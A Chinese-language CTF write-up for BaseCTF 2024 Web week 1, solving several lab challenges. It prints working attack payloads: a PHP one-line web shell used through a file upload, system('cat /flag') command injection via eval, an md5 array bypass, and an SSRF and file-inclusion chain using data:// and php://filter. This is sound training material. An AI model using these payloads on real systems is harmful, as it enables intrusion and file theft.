跳转至

[BaseCTF 2024]Web week1 合集

题目地址:https://www.basectf.fun/games/1/challenges

HTTP 是什么呀

首先使用 Hackbar 将首页的几个任务给完成

注意 GET 方法的 basectf 参数需要对 %00 额外进行一次 urlencode 操作,以及最后一个 ip 的控制使用的是 X-Forwarded-For 头。

然后题目提示,在到达终点以前有内容。我们点击“网络”选项卡,可以看到原先的页面被 302 跳转了,并在 GET 方法里附上了 flag 参数。我们将其进行 Base64 解码即可。

喵喵喵´•ﻌ•`

打开就看到 php 代码,只有一个 eval 函数。我们直接进行命令执行获得 flag

?DT=system('cat /flag');

upload

这是一个文件上传漏洞,根据题目难度,首先猜测没有过滤,所以我们直接写一个 php 的马:

evil.php
<?php eval($_POST[1]);

上传之后,题目给出了环境的源码,可以看到题目将上传的文件放在了 uploads/ 下,我们直接访问: /uploads/evil.php ,一片空白,说明已经访问到木马了。使用 Hackbar 连接即可:

POST:
1=system('cat /flag');  #(1)!
  1. 最前面的 1 和上方木马的数组索引 “1” 统一

md5绕过欸

打开是一片 php 代码,根据提示是 md5 绕过。审计代码,发现只需要做到 namepassword 名义上不相等,但是 md5 相等即可。 name2password2 也一样。最简单的方法就是数组绕过,也就是说我们保证这四个数据不一致,但是都是数组就行。

原理:php 的 md5() 函数会把数组类型的数据转为 null ,那么即使是 === 强类型比较也无济于事,都是 null。所以最终 payload:

GET: ?name[]=1&name2[]=2
POST:
password[]=2&password2[]=3

A Dark Room

打开环境,一直在加载,感觉已经传过来了一点东西,f12 打开源码翻到最下面就是 flag。。。。

注:写到这里的时候发现环境加载出来了。我还以为故意加载不出来,叫做 "Dark Room" 名副其实呢

Aura 酱的礼物

审计代码,先完成第一关。

首先是要参数 pen 的内容需要被 php 的 file_get_contents 函数读取,但是我们没有这个文件。使用 php 伪协议,直接把 pen 里面的内容写入到所谓的文件名里。这里我们使用 data:// 伪协议:

pen=data://text/plain,Aura

然后第二关,我们要在 challenge 参数内,第 0 位字符串为 Aura 的博客:http://jasmineaura.github.io, 所以我们先放着,看到过关了,然后到了第三关。

第三关和第一关一样,需要作为文件名,内容含有已经收到Kengwang的礼物啦,但是不一样的是,这里有开头为 http://jasmineaura.github.io 的限制。所以我们不能使用目前已知的伪协议了。最后通过查阅资料,观看他人 wp 得知,http 协议有和 ssh 协议一样的语法:用户识别。

举例来说,我们在 github 上克隆仓库的时候,可能需要这样: git clone git@github.com:example/test.git, 这样来说,github.com 就是主机名,git@ 就是用户名。http 协议也有类似的语法,形如 http://username@example.com 。所以我们真实访问路径就是 http://example.com

所以,我们可以通过 @ 这个符号,把前面的字符串转为用户名,后面的字符串作为主机名。那么,我们现在要做到的一个任务就是,让后面那个的 http 链接,存在 已经收到Kengwang的礼物啦 的字符串。根据提示: 远在天边,近在眼前,我们想到这个字符串就存在我们目前的靶场。我们可以把当前靶场路径复制到后面:

&challenge=http://jasmineaura.github.io@challenge.basectf.fun:48811/

后面的端口号就取决于你目前用的靶场。根据题目 ssrf 提示,我们使用 http://jasmineaura.github.io@127.0.0.1 也可以完成任务。这是因为这条命令是服务器上执行的,相对于它的 127.0.0.0 ,其实就是你看到的这个页面,正好就有这个字符串。

最后就是一道经典的文件包含漏洞了。我们需要把 flag.php 包含进来,但是里面是 php 代码,所以我们通过 php://filter 伪协议,把他进行 base64 编码之后传入进来:

&gift=php://filter/convert.base64-encode/resource=flag.php

最终payload:

pen=data://text/plain,Aura
&challenge=http://jasmineaura.github.io@challenge.basectf.fun:48811/
&gift=php://filter/convert.base64-encode/resource=flag.php

或者:

pen=data://text/plain,Aura
&challenge=http://jasmineaura.github.io@127.0.0.1
&gift=php://filter/convert.base64-encode/resource=flag.php

说句题外话,这个 Aura 可真是巨佬啊,听说还是 24 级的新生,圈子里挺有名的好像。来咱 moectf 直接坐镇榜首了。


文章热度:0次阅读